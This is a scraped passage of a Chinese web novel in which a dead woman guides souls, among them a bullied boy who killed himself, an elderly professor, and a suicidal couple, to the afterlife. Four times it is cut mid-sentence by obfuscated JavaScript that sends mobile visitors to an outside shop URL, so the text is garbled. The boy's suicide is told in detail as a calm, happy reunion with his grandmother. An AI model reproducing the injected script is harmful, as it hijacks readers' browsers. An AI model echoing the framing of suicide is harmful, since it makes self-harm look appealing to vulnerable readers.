他们俩转入停车场的岔路,并不知道在看不见的地方,孟清秋和他们匆匆擦身而过。 孟清秋这次有点急。 每个城市只有一道阴界之门,S市的这个恰好离学校很远,她从阴界之门出来的时候废了好半天才赶到这儿来。 眼看着救护车已经到了,也不知道那个小孩还在不在原地等她,万一等急了自己乱跑,她还不知道得上哪儿找人去。 这会儿黄泉叶带着她走了近道,从学校的步行区穿过去会更快一些,但她没想到这个点了还有人在这边走路。 孟清秋尽量离他们远点,沿着路的另一边走的飞快,路过的时候抬眼瞥了一下。 原来是上次那个男人,“小顾”。 说来也巧,两次都不在一个市,居然还都能遇到。 这次他还牵着个小女孩,看来就是那个主任口中的孩子了。 孟清秋这会儿顾不上去想什么单亲父亲带娃,甚至没来得及回头再好奇一眼小孩长什么样子,黄泉叶拉着她迅速向前走去。 到了初中教学楼前的空地,救护车堵在路口正在掉头,几个医生、老师还有警察围了一圈,挡得严严实实,孟清秋看不到里面是什么情况,只能隐隐从缝隙中看见地上的血迹。 那个小孩就乖乖坐在旁边的花坛边缘看着这一切。 孟清秋朝他走过去。 张子辰在孟清秋刚来的时候就看到她了。 他从高空落下,死亡就在这短短一瞬,还没感觉到疼痛他就停止了心跳。 再睁眼的时候他有些茫然,身下是坚硬的水泥地,抬头是熟悉的教学楼,他记得失去意识前他从楼上跳下来,可为什么不觉得疼,他没有被摔死吗? 这个年纪的小孩总会看些拯救世界的电影漫画,他想,难道这个世界上真有超能力存在? 等他站起身看到脚下,“自己”还躺在地上,血慢慢渗进了水泥里。 他看了看自己的手,好像比平时透明了很多。 原来我已经死了吗?这是我的灵魂? 周围有人在着急地打电话,也有学生在哭在尖叫,他的班主任被几个老师围着,捂着额头不知道在说什么。 算了,一切都与我无关了。 张子辰不知道自己该去哪里,人死了之后应该去投胎吗?是不是要等牛头马面来接他啊。 他有点迷茫,但也没什么地方要去,索性在花坛边坐下,看着大家围着他的身体忙忙碌碌的场面。 老师慢慢将学生疏散了,然后是他的爸妈赶了过来,他弟弟站在远处静静看着这一切,并没有像其他那些学生一样被吓哭或是伤心。 他妈倒是掉了几滴泪,随即在和老师的争执中被抹掉了,只在眼角留下一点痕迹。 他爸很冷静地和老师沟通,不一会儿110先到了,夫妻俩又扑上去求警察给个公道,一定是学校逼死了我的孩子。 然后是老师和年级主任极力的否认,然后他们又要去调监控,一个老师说先把孩子送去火葬场再吵架,能不能让孩子好好安息。 然后120来了,警察安抚说会调查清楚。大家短暂地安静下来,开始商量要怎么“处理”他的尸体。 从始至终他的弟弟都在远处漠然看着这一切。 张子辰观察着所有人,第一次置身事外看着他们脸上的每一个表情。 然后他看到了那抹白色。 在救护车后姗姗来迟的孟清秋。 漂亮的大姐姐,穿着洁白的长裙,长发柔顺地披着,有一双水汪汪的眼睛。 她慢慢走到他面前,浑身上下散发着淡淡的光,她笑起来是那么温柔,像他小时候想象中母亲的模样。 “你是天使吗?”张子辰问道,“你是来带我离开的吗?” 孟清秋蹲下来看着他,“是呀,我是来带你离开的。” 张子辰看着她漂亮的眼睛:“那我们要去哪里呢?” 孟清秋把手递给他,“去一个没有烦恼的地方。” 张子辰笑起来,把手放在她的手心,“好呀,我和你一起去。” 孟清秋牵着他站起身,只见那边已经商量出了个结果,张子辰摔成这样其实也用不到医生了,救护车转了一圈又“乌拉乌拉”离开。 然后警察又帮忙联系了火葬场,众人散开了一点,在等待的时候又吵了起来。 孟清秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482491|201829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次看清了跳楼现场,男孩瘦弱的身体扭曲地躺在地上,好多好多血。 张子辰轻轻拽了一下她的手,“走吧姐姐,很丑,会吓到你的。” 孟清秋回过神,用另一只手摸了摸他的头,只说:“你现在很好看。” 那边的争吵声大了起来,孟清秋感觉张子辰稍稍加快了一些脚步。 终于走上了步道,把那些乱七八糟的声音甩在身后,张子辰才又开了口,“姐姐,我们要去的地方是死后的人都会去的地方吗?” 孟清秋点点头,“对呀,人死了之后,都会去这个地方的。” 张子辰说:“那我可以在那里见到我的奶奶吗?” “奶奶?” 张子辰看了孟清秋一眼,说起奶奶的时候语气上扬,“对呀,我奶奶去年去世了,如果我过去的话应该会见到她吧。” 孟清秋不忍心告诉他真相,只好转移他的注意力,跟他聊天:“看来你和奶奶很亲呀。” 张子辰说:“是呀,我是被奶奶带大的。” 像是突然打开了一个阀门,也或许是已经死了,而面前这个来给他带路的天使姐姐温柔得让他有些依赖,张子辰头一次跟人分享起他的故事—— “我就是大家常说的那种留守儿童,爸爸妈妈把我生下来之后就丢给爷爷奶奶去打工了。” “爷爷去世得早,从我有记忆开始就是奶奶一直在带我。” “其实他们在城里打工的第二年就又生了一个弟弟,那一年他们赚到了些钱,觉得弟弟是他们的福星,没有像对我一样把弟弟送回老家。” “奶奶想让他们把我接回去,他们觉得带一个孩子就很辛苦了,我去了一家四口会很麻烦,为此奶奶还和他们吵了不少架。” “后来他们甚至很少回来,觉得奶奶就是不想帮他们带孩子才一直要把我塞过去。其实奶奶只是觉得城里生活得更好。” “奶奶特别疼我,他们每次给奶奶的钱都不多,奶奶都给我存下来了,一分钱都没花,好吃的也会给我留着。” 张子辰情绪突然低落下去,“我和奶奶一直相依为命到去年,奶奶突发心脏病去世了。” “他们最开始每年还回一次家,后面生意做起来了,每次都说忙,过年的时候奶奶老是坐在门口盼着他们回来,但是我知道他们根本不会来的。” “所以奶奶去世之后我见到他们,感觉都好陌生,还有那个弟弟,一转眼他都长那么大了,个子比我还高,跟着爸妈回来奔丧,却一滴眼泪都没有。” 孟清秋想起她来的时候看到的那个站在人群后面的男孩,同样穿着初中部的校服,她还以为是路过的学生,看样子那就是张子辰的弟弟,面对自己哥哥的死也没有掉一滴眼泪。 张子辰接着说:“然后他们就把我接回来了。最开始在书房给我搭了一张小床,后来弟弟说这样影响他在书房学习了,他们才又把之前堆杂物的房间收拾出来给我住。” “姐姐,我们要去的地方冷吗?”张子辰突然问孟清秋,“我睡的那个房间冬天就好冷,以前奶奶冬天会给我生火,给我灌好热水袋放在被子里。他们的屋里都有空调,杂物间什么都没有,我只能把被子裹紧把风堵在外面。” 孟清秋捏了捏他的手,“那里一点都不冷,以后都不会冷了。” 5. 第5章 张子辰笑了,“太好了,我躺在床上想奶奶的时候还担心奶奶去了另一个地方会不会冷呢。” “其实我要是说冷他们也会给我买取暖的东西,但是我总害怕给他们添麻烦。”张子辰也很茫然,“姐姐,他们明明是我的爸爸妈妈,但为什么我总觉得和他们一点都不熟呢?” 孟清秋说:“因为他们只是把你生了下来,并没有照顾过你,在你心里只有奶奶是你的亲人。” “对,只有奶奶是我的亲人。” 两个人走出了校门,张子辰最后回头看了一眼S市一中金光闪闪的校名,“终于离开这里了,我也很讨厌这个学校。” “我在县里的初中上了一年多,他们把我转到了这里,听说这个学校是S市最好的学校了,我在那边学的东西根本就跟不上这边的进度。” “英语老师上课根本不说中文,我好像在听天书啊。” “我的普通话也不标准,天天在地里跑,被太阳晒得黑黑的,都没有人愿意跟我玩。” “有些同学会调侃我,老师也嫌我拉低了班上的平均分,回家爸爸妈妈还要拿我和弟弟比较,说他成绩多么好而我天天考倒数。” 张子辰似乎是想哭,声音小了下去,但是又忍住了,“可是这都是我的错吗?我也想考好啊……他们放假都在补课,弟弟有一对一家教,我有一次听到他们在商量价格,真的好贵……一个月的钱都快赶上他们每年给奶奶打的钱了。” “我不敢开这个口。” 孟清秋在心里偷偷叹了口气,“所以你……想到自杀了吗?” 张子辰愣了一下,好像自己也有些不解,“就是觉得,奶奶走了之后,好像没有人需要我了。” “今天早上他们说要给弟弟开家长会让我坐公交车回去,他们明明开了车来,可以让我写作业等他们一会儿,但是还是让我自己走了。” “被老师罚站的时候我站在外面,突然就好想奶奶,如果我不在了他们一家三口就可以很幸福,我在家里好像大家都很尴尬,老师也不会担心我拖班级后腿,不用每天盯着我看我的正确率。” 孟清秋懂了,他的处境让他觉得自己的存在让所有人都不开心,所以他才想要结束生命。 小朋友的思维就是很简单,你不需要我了,那我就离开。 只是她没想到张子辰真的一点都不留恋,他是那么迫切想要见到奶奶,以至于命运让她现在就来带他回去。 “不害怕吗?”她问道,“死亡是很痛的。” 张子辰摇摇头:“不怕,因为想到死了就有可能遇到奶奶,就不害怕了。” 明明白天他还说被球砸到很痛,晚上走上天台的时候却又那么义无反顾。 他很从容,甚至写了一封短短的遗书。 一开始的时候他还有些纠结,落笔时字迹很重,一笔一划刻在纸上。 但是当他写到奶奶的时候,好像又下定了决心,字迹都变得潦草轻快起来。 然后他将遗书放进书包推开了天台的门,在墙角找了个地方把书包放好。 站在天台边缘向下看的时候有些眩晕。今天的天气很好,是课文里写的那种“秋高气爽”的日子,夕阳带着最后一丝夏日的温度缓缓下沉,渐渐隐没在远处的地平线里。 张子辰看向夕阳的时候又想到奶奶,奶奶总会在这个时候做好饭,然后坐在院子里对着夕阳等他放学。 最后一年多的时间奶奶经常会觉得很累,有时他放学回来奶奶已经在椅子上睡着了,但是不管怎样他都能在院子里看到那个白发苍苍逐渐佝偻的身影。 奶奶,今天你会等我吗? 张子辰闭上眼睛倒了下去,身体在失重感中极速下降,他却轻轻笑了起来—— 像跌入了奶奶的怀抱。 孟清秋觉得这份工作也不是那么好做,她有点想哭,也很想抱抱这个孩子。 于是她松开张子辰的手,弯下腰抱住了他。 张子辰被小小地吓了一跳,孟清秋很轻地摸了摸他的头,“都过去了,既然已经选择了这条路,我没有什么能帮上你的,只能祝你以后、下辈子,可以一直幸福。” 张子辰也轻轻抱了抱她,“姐姐,我小时候不常见到我的妈妈,我也曾经想过妈妈应该是什么样子。” “你今天来接我的时候,我还以为真的是我想象中的妈妈来了。” 他眼角划过一滴泪,“谢谢你愿意听我讲这么多故事,也谢谢你来带我去该去的地方。” 孟清秋再次拉着他,两个人已经走到街上。华灯初上,S市的夜晚繁华热闹,下班的放学的人都在外面逛街吃饭,没有人知道在他们看不见的地方有一个少年刚刚结束了自己的生命。 前面一家麦当劳的门从里面被推开,一个男人一手拎着一个小书包,另一手撑着门,等拿着甜筒的小女孩出来。 “念念,后面要降温了,这是今年最后一个甜筒了哦。” 顾思瑶点点头,很小心地舔了一口,甜筒只是受了一点皮外伤,“唔,那我慢慢吃。” 顾聿怀哭笑不得,“等会儿化了你不还是没吃着,快吃吧,明年还有呢。” 顾思瑶说:“那要等好久好久呀,我还是慢慢吃吧。” 张子辰注意到了他们,对孟清秋说:“这个小妹妹,今天她差点被球砸到,我还帮她挡了一下呢。” 孟清秋顺着他的视线看过去,又是那个男人,这次她看清了旁边的小女孩,圆圆的小脸,扎着两个小辫子,约莫六七岁的样子,和奈奈一样有些婴儿肥,很是可爱。 哎呦,她又在心里感叹,这么小这么可爱的孩子怎么就没了妈妈。 张子辰说:“原来她叫念念啊,很好听的名字,我以前也想有个弟弟或者妹妹,不过我们家的情况可能不太适合吧。” 孟清秋收回视线,“每家都有每家的难处,也不要太羡慕别人。” 张子辰笑笑,“反正就要去找奶奶了,我就是最幸福的小孩。” 阴界之门已经开启,门内一片漆黑,像深渊般静静等着孟清秋和张子辰进入。 张子辰问:“我们就是要去这里面吗?” 孟清秋握了握他的手,“是的,每一个死去的人都要来这里。” “你害怕吗?” 张子辰摇摇头,回头看了一眼身后灯火阑珊的人间,“不怕,我们走吧。” 孟清秋带着他走了进去,阴界之门缓缓关闭,将顾聿怀、顾思瑶,以及人间的灯光夜色通通隔绝在外。 他们走进了一望无际的黑。 · 奈何桥依旧排着队,亡魂已经失去了意识,机械地随着指引按顺序走上奈何桥。汤碗尽职尽责地分身发汤,奈奈却不见了踪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482492|201829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影。 这会儿显得他俩有些格格不入了。 张子辰问:“姐姐,这些也是和我一样死去的人吗?” 孟清秋点头,“是呀,他们正在排队过奈何桥,去世的人都要在这里喝下孟婆汤,然后走到对面去投胎转世哦。” “那我奶奶是不是也……” 张子辰话还没说完,虚空中金光一闪,奈奈凭空出现,跳到了他们面前。 “清秋!你们回来了!” 孟清秋轻轻推了一下张子辰,把他推到了奈奈面前,“人带回来啦。” 张子辰好奇地看着这个小女孩围着自己打量了一圈,“就你这小鬼迫不及待要投胎啊。” 张子辰听不懂,给孟清秋投来求助的眼神,孟清秋介绍道:“这是孟婆。” “孟婆?!”张子辰瞪大了眼睛。 奈奈早已习惯,每一个听到她是孟婆的人都是这副震惊的表情。 “嗯哼,正是在下啦,小鬼,你们人间编的书当然会和实际有出入啦,毕竟没有几个凡人能亲眼见到孟婆我长什么样子的啦。” 奈奈手一招,端来一碗孟婆汤,“哝,喝了它你就可以过去了,作为清秋亲自带回来的人,你有插队的特权哦~快喝吧小朋友。” 张子辰端着碗,继续问完刚刚被打断的问题:“所以我奶奶就在那边吗?” 奈奈早就看了张子辰的命运,点点头,“你奶奶已经过去了,你如果想找她的话……你和她的亲缘线还是很深的,这种情况是有很大概率下辈子还会是亲人。” 张子辰笑着看了一眼孟清秋:“姐姐你听到了吗!我和奶奶还可以当亲人!” 孟清秋也笑着,“那太好了,下辈子要和奶奶好好地生活哦。” 张子辰点点头:“我会的!下辈子我希望我可以快点长大,奶奶慢点老,然后我来照顾她保护她!” 他毫不犹豫喝下了孟婆汤,竟然从里面品尝出奶奶最爱给他炖的排骨汤的味道。 奶奶走了之后他就再也没有喝过这么好喝的汤了,于是他很大口大口地全部喝完,一边喝一边流下思念的眼泪。 他把碗还给奈奈,用手抹了一下泪,“谢谢你,谢谢姐姐,我要走啦。” 孟婆汤开始起效,他的眼神慢慢变得空洞,脚步像顺着设定好的轨迹一般迈上奈何桥,再也不回头地走入了浓雾。 孟清秋对着他的背影挥了挥手,在心里又祝福了他一遍,转过头奈奈正盯着她看。 “看我干什么?” 奈奈笑嘻嘻地,“姐姐~你还挺受欢迎的。” 孟清秋解释道:“他说我像他小时候幻想出的妈妈,所以觉得很亲近。” 奈奈说:“意料之中啦,能被选中说明你是很温柔善良的人哦。” 孟清秋还有疑问:“你那个汤很难喝吗?他刚刚都喝哭了。” 奈奈白她一眼,“怎么可能难喝!孟婆汤的味道取决于每个人的内心,他这么想奶奶,说不定是喝到了奶奶做过的饭的味道,那是幸福的眼泪!” 孟清秋点头表示又学到了。 她还以为奈奈要揪着这个事情跟她“撒泼耍赖”一下,没想到她换了个话题,语气还有点心虚:“那个,清秋啊,你愿不愿意加点班呢?” 孟清秋一脑门问号。 你们阴界也有加班一说吗??? 6. 第6章 奈奈解释道:“我刚刚才收到的消息,就是现在外面是冬天嘛,去世的人比较多,特别是医院那些地方,病人走的时候身体不是健康的,其实会有点影响灵魂的行动的。” “这个就跟你在路上开车一样,人一多,有的车开的慢,那不就容易堵嘛……咱这儿排队排的确实有点长了,就需要清秋你去当一下‘交警’,帮我们疏通一下。” 孟清秋听懂了,这是要让她在没有册子指引的情况下也去人间带亡魂回来。 她也谈条件:“加班的话,加班费怎么算?” 奈奈想了想,伸手在她手腕上刻着“孟”的珠子上点了一下,珠子亮了亮,孟清秋感觉到一股力量顺着珠子缓缓涌入她的身体。 不强势,是很和缓的,和她的身体很好地融合了。 “一点小法术,可以随地开启阴界之门的能力,下次你就不用走太多路啦!”奈奈很得意,觉得孟清秋肯定喜欢这个。 结果孟清秋脸一垮,“所以你明明可以让我少走路还不告诉我——” 这小丫头精得很,跟她玩心眼子呢,一点一点吊着她。明明能让她方便很多,但就是不全部放出来好诱惑她多干活。 她佯装要去抓奈奈,奈奈正心虚呢,老老实实站着给她捏了半天脸。 “好姐姐好姐姐,消气没?求你了帮我们干干活吧~真的很需要你呢~” 奈奈给了颗糖发现没用又开始卖萌,孟清秋不知道为什么对奈奈这样可爱的小女孩形象一直有种莫名的好感在,不然当时也不会被她忽悠几句权衡了一下就爽快答应了。 这会儿她一撒娇,孟清秋心里简直是母爱泛滥,本来也没生气,但是面上还要装一下,用手推开她的脸,“行了行了,下次有好东西早点拿出来。” 奈奈这边实在是缺人,阴界每个人有自己负责的领域,她好不容易蹲来一个陪她上班的,这会儿点头如捣蒜,发现孟清秋吃这一套后就开始一口一个姐姐哄她:“好的好的清秋姐姐!” · 原本孟清秋的时间和外面是不一样的,每次出去人间都换了季节。 结果一忙起来,反倒是在人间呆的多些,有时候开了阴界之门把人往里一送,她自己又出来了。 反正她把人塞进去了,至于里面队排的长不长,让奈奈自己管去吧! 一下子入了冬,特别是年关将近,医院到了一年里最忙的时候。 孟清秋已经成了S市第一医院的常客。 特别是医院的太平间,她现在去就跟回家一样熟悉。 S市是人口密集区,S市第一医院又是这块口碑最好的医院,不仅是本市,就连临市的病人也一窝蜂朝这儿挤。 孟清秋甚至摸索出了一条人少的路线,都能写篇文章教后辈如何避免与人类近距离接触了。 这些天她见识了太多离别,也听了很多很多故事。不知道是不是听得太多,倒确实像奈奈说的那样,她的心境也变了。 为别人难过得多了,她反而有些看开,这世上未能圆满的事数不清,只有珍惜当下才是最好的做法。 但是在偶尔的空闲时间她也忍不住想,她的遗憾究竟是什么?也在人间来来去去了这么久,居然一点都没有想起来。 孟婆汤效果这么好吗? 还是说奈奈就是在胡说八道。 孟清秋这会儿闲了点,在太平间门口坐着瞎想。 顾聿怀今天送走了一个病人。 这位老人已经在这儿住了挺长时间了,一直是顾聿怀在负责。 老人退休前是大学教授,平时在病床上就爱捧着本书看,顾聿怀他们来查房的时候也会跟老人聊天,一来二去就熟了。 老人家的孩子也都是知书达理的人,老人病情恶化后少不了麻烦医生们,最后没抢救回来他们也是一边抹眼泪一边感谢医生。 顾聿怀便陪着他们送了老人一程。 于是孟清秋坐着坐着,就听到走廊那边传来说话声。 “顾医生,这么多天真的是麻烦你们了,我们上班忙,有时候不能一直陪着,多亏了你们操心。” 几个人推着一张病床从走廊那头往太平间走,顾聿怀还带着口罩,和一位家属走在最后说着话。 这里的死气本来就很重,所以孟清秋没有躲开。 顾聿怀说:“这都是我们应该做的,您不必客气。” 一行人从孟清秋身前经过,她知道,白布的人等会儿就会以另一种方式活过来了。 没有人看得见她。他们把人推进了太平间,那家属跟顾聿怀握着手,“顾医生,那我们就先去收拾东西了,待会儿火葬场的车来了我们就把妈带走了。” 顾聿怀点点头,“好,你们去忙吧,我也要回去上班了。” 家属那边处理后事先上去了,顾聿怀跟太平间的管理人员打了个招呼,却没急着走,站在走廊打了个电话。 “喂,是我,顾聿怀。” “没什么事,就是想问下你明天下午有没有事,没事的话能不能跟我换个班。” “念念明天要放寒假了,学校让开家长会。” “好,后天的夜班是吧?可以,谢了啊兄弟。” 顾聿怀很快挂了电话,把手机放进兜里,顺着走廊走远了。 孟清秋捧着脸坐在那儿目送,只听到身后传来一声叹息:“唉,顾医生太不容易了。” 她吓了一大跳,一回头一个老太太站在太平间门口。她试探性地问:“您是……刚刚被推进去的老师?” 老太太慈眉善目的,听到这话直接坐在了她身边,“你认识我?小丫头,你也死了吗?” 孟清秋点点头,“嗯,我和您一样,都已经死掉了。” 老太太惋惜地看着她,“唉,年纪轻轻的,真是可惜了啊……不过小姑娘,我怎么看你有点眼熟呢?” 孟清秋没把这话太当回事,以为是奈奈说的“吸引buff”起了效果,老太太觉得她亲切罢了。 她冲老太太笑了笑,想到她刚刚看起来状态还不错,便问道:“您现在感觉怎么样?有什么不舒服吗?” 有很多病人临死之前饱受病痛折磨,死了之后灵魂也受到创伤,非常虚弱,通常遇到这种孟清秋就直接把人带回阴界之门了。 不过老太太看起来还挺精神,所以她多问了一句,“如果您感觉还不错的话,毕竟您今天第一天去世,还有七天的时间可以滞留在人间,您有什么愿望想实现的,现在就可以去了。” 老太太一脸恍然大悟,“原来你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482493|201829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是神仙!”她一低头瞥见孟清秋搁在腿上的手,手腕上一颗刻着“孟”的珠子,“哦!你是孟婆啊!哎呦不得了了,我居然见到孟婆了!” 孟清秋被这个活泼的老太太搞得哭笑不得,“奶奶,我不是孟婆,也不是神仙,只是个引路人罢了。” 老太太虚心请教:“引路人?” 孟清秋点点头:“对,就是带你们去阴界的人,那是每个人死后都要去的地方。” 老太太表示理解了,很自来熟地挽住了孟清秋的胳膊,“那我们走吧!” 她其实还是受了影响的,但是因为心态好,所以不像其他人那样一脸病态。 孟清秋这段时间也是遇到了不少人,头一次见到老太太这种干脆利落的,她问:“您还有七天时间呢,不留了吗?我刚刚看您孩子还挺舍不得您的……” 老太太摆摆手,“死都死了,再给我七天不还是要走。” “我在病床上躺了一年多,早就想开了。我这一生教出不少好苗子,孩子也都事业有成家庭幸福,我晚年虽然生了病,但我的学生我的孩子都在我身边陪我,其实我已经很满足了。” “前段时间我能感受到病情恶化得很严重,医生还不告诉我呢,他们都怕我接受不了。” “但其实我心态挺平和的,这医院里天天都有人走,我隔壁床都换了好几个人了,总有一天也要轮到我头上。” “我不害怕死亡,因为我觉得我这一生已经活得很知足,这就够啦。” 老太太拍了拍孟清秋的手背,“所以,丫头,我也就不去看我的孩子们了,万一看他们哭得那么伤心,老太太我还有点舍不得走呢!” “既然死亡已经是事实,咱还不如洒脱点,去另一个地方看看没见过的世界!” 孟清秋很佩服老太太的这种想法,“您还真是个豁达的人。” 老太太说:“因为我很幸运啊,遇到的都是好人,我过得很幸福的。” “你看我住个院,三天两头有人来看我,就连医院的医生也都尽心尽力照顾我。” “就刚刚走的那个,小顾医生,之前有次他值夜班,本来查完房能休息会儿的,结果我那天实在是不舒服,他和我那个护工忙前忙后一整夜都没睡。” 老太太似是想起来什么,突然换了个话题,“唉,顾医生人真好啊,就是可惜了,年纪轻轻就当了单亲爸爸,孩子才刚上小学,他又不愿意把孩子丢给家里老人照顾,每天辛苦的哟……” 孟清秋问:“为什么不愿意让老人带啊?” 老太太说:“他和他老婆不是离婚了,是他老婆出事不在了。孩子从小就没了妈,再跟爸爸聚少离多,这咋行啊!” “所以顾医生是又当爹又当妈,这医院又忙,恨不得把一个人分三份干活,辛苦死了!” 孟清秋说:“您知道的还真详细。” 老太太一拍大腿,“嗐,还不是躺病床上太闲,大家互相聊天,唠着唠着就知道了。” “况且这事也不是什么秘密,顾医生办公桌上还摆着他们的照片呢,之前就诊的时候我还看见了。” 她突然不说话了,凑过来仔细打量了一下孟清秋的脸,喃喃道:“我知道为什么觉得你眼熟了……你和他老婆长得好像哦。” 7. 第7章 这回孟清秋愣了:“啊?” 老太太也就匆匆瞥了几眼,印象倒是不深,自己先否认了:“哎,不过看你这样子肯定不认识顾医生,而且顾医生的老婆都走那么久了,怎么可能来这儿当小神仙引路人呢。” “我的意思是你们都是同一类小美女啦,看着就很温温柔柔的那种气质。” 孟清秋顺着她的话说:“顾医生人这么好,他妻子肯定也是很好的人。” 老太太说:“是呀!看面相就是很好的小姑娘呢,真是可惜了……” 老太太是个到哪儿都能唠的性格,不然也不会在病房里跟人打成一片,拉着孟清秋话题越跑越远,终于想起来孟清秋有“任务在身”。 “瞧我,都忘记小姑娘你还要引路了,麻烦你把我送过去吧,老太太我要去新地方探索咯!也不知道能不能交几个新朋友,或许还能遇到我的老姐妹呢!” 孟清秋一挥手,阴界之门出现在面前,老太太连连鼓掌:“还说不是神仙!你都有法力!” “这也太厉害了!我什么时候也能会这样的技能!” 她还学着孟清秋的样子挥了挥手,什么都没发生。 老太太也不恼,笑呵呵的:“哎呦,果然还得是丫头你厉害啊!” 孟清秋被她逗得很开心,“您别夸我啦!我也只会这一招罢了。” 她扶着老太太到了门前,跟老太太介绍:“进去就是阴界啦,您过去之后会有指引的,有很多人都在那边排队,您跟着他们就行。” 老太太看着黑洞洞的门,倒是也不怕,一只脚已经迈了进去,还转头跟孟清秋告别,“好啦丫头,那我就走啦,谢谢你听老太太我在这儿唠了半天。” “老太太我最喜欢新鲜事物,没想到死了之后还能让我长这么多见识,我真的很开心啊。” 孟清秋也挥挥手告别,送上她对每一个人都会讲的祝福:“希望您下辈子也一样幸福哦!” 老太太笑着点点头,转身走进了门内,阴界之门迅速闭合消失不见,将老太太送去了奈何桥边。 孟清秋又在医院忙了几天。 天气越来越冷,来来往往的人都穿上了厚厚的冬衣,这里每天都有新生命降生,也有很多灵魂离开。 孟清秋今天刚送走了一对相约殉情的情侣。 两个人大冬天往河里一跳,穿得又少,抢救了几天还是没救回来,先后来了孟清秋面前。 孟清秋在病房外吃了几天瓜,以为他俩是爱的难舍难分才不顾家人反对非要在一起的,所以才大冬天这么义无反顾从桥上蹦了下去。 两方家属在医院吵了好几天,两个孩子全都没了,孟清秋赶紧跟到太平间以为终于能清净一会儿,没想到这对情侣也是对抗路来的。 两个人先是抱头痛哭一场,然后突然开始吵架,理由是从桥上跳下去的时候呛了好几口水,死得也不利索,难受了好半天,还不如当时直接从楼上跳下去得了。 另一个人说可是楼上跳下去摔得很丑啊能不能注意点形象。 这边指着自己的尸体说可是现在也没好到哪里去吧反正死都死了。 孟清秋听得头大,两个人吵着吵着还让她评理。 挺有参与感的。 然后她好说歹说把他们俩塞进阴界之门了。 送走之后孟清秋直接坐在地上,真的燃尽了。 谁料过了一会儿空中开了条缝,奈奈冒出一个小脑袋趴在门口,一脸愤怒:“清秋!你能不能过来管管他们!” “队还没排到呢!他俩要把周围人吵死了!” 孟清秋乐得不行,果断拒绝:“不可以!是你让我在这边干活的!到了那边就该你负责了!” 奈奈一脸悲愤,把门合上劝架去了。 孟清秋刚刚被吵得脑仁疼,这会儿心情又好了点。果然只有我一个人痛苦是真的痛苦,但是大家都痛苦我就会笑出声。 她打算去找个地方摸个鱼。 孟清秋这段时间把医院都摸熟了,发现每个科室基本上都有一间休息室,特别是晚上值夜班的时候,医生会过去小睡一会儿。 而白天基本上是没有人的。 现在刚过了午休时间,外面日头正高,孟清秋准备找一间休息室改善一下自己的睡眠环境。 她依旧是从楼梯间走,也没有想具体楼层,看到哪层的门掩着就溜了进去,主打一个随机。 站在走廊上抬头一看—— 肿瘤科。 这会儿不知道是不是有手术,走廊上空空荡荡的,只有病房隐隐约约传来小声的聊天声来。 孟清秋放下心来,虽然没人看得见她,但她老是觉得这种情况很奇怪,就像是趁别人不注意在干什么坏事一样,所以会有些做贼心虚的意思。 孟清秋肆无忌惮在走廊上逛了会儿,终于找到了肿瘤科的休息室。 休息室不大,里面就一张单人床还有一套桌椅,上面放着一个台灯和几本肿瘤相关的书,不知道是哪位好学的医生在挑灯夜读。 孟清秋闪了进去。 床还挺软,她想到自己刚醒来时躺在草地上,硬邦邦的就算了,草扎得她还有点痒,于是在心里小小地吐槽了奈奈一句—— 也不知道给她找个舒服的地方。 奈奈还在劝架呢,突然打了个喷嚏,还没来得及揉鼻子,那两人又吵吵上了,还有其他看热闹的在旁边插嘴,忙得奈奈晕头转向,最后没辙了直接让他们全都插了个队,一人灌了一碗孟婆汤扔到桥对面去了。 被插队的人也不恼,纷纷向奈奈竖大拇指表示敬意。 奈奈挠挠头不好意思地笑,“低调,低调。” 孟清秋已经在床上躺好了。 她还是记忆里第一次睡床,这会儿躺下来望着白晃晃的天花板,不由得想着自己生前的事情。 她以前住的是什么样的房子呢?也不知道床舒不舒服,会不会很大,可以尽情在上面打滚。 孟清秋作为一个死掉的亡魂,连上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482494|201829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么多天班,跟那么多人打交道也没觉得多累,本来来这里只是想找个地方摸个鱼给自己放会儿假,结果不知道是不是床躺着太舒服了,她居然睡着了。 